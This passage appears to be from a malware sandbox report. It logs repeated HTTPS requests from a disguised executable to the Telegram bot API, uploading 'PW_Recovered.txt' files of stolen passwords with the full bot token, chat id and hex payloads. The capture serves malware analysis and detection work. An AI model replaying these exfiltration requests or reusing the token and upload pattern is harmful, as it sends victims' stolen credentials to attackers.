2025-01-06 12:58:23 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 34 64 64 62 31 62 38 35 61 61 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd34ddb1b85aa9Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:23 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:23 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 30 33 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27675,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168303,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	62569	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:24 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd352304c0fab9 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:24 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 35 32 33 30 34 63 30 66 61 62 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd352304c0fab9Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:24 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:24 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 30 34 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27677,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168304,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	62570	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:25 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3567f9ff4870 Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:25 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 35 36 37 66 39 66 66 34 38 37 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3567f9ff4870Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:25 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:25 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 30 35 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27679,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168305,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	62571	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:26 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd35b5833a1185 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:26 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 35 62 35 38 33 33 61 31 31 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd35b5833a1185Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:26 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:26 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 30 36 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27681,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168306,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	62572	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:27 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3602cc695e42 Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:27 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 36 30 32 63 63 36 39 35 65 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3602cc695e42Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:27 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:27 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:27 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 30 37 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27683,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168307,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	62573	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:28 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3649aa500683 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:28 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 36 34 39 61 61 35 30 30 36 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3649aa500683Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:28 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:28 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 30 38 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27685,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168308,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	62574	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:29 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd369091cc45db Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:29 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 36 39 30 39 31 63 63 34 35 64 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd369091cc45dbContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:29 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:29 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 30 39 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27687,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168309,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	62575	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:30 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd36e6e7e4e3a7 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:30 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 36 65 36 65 37 65 34 65 33 61 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 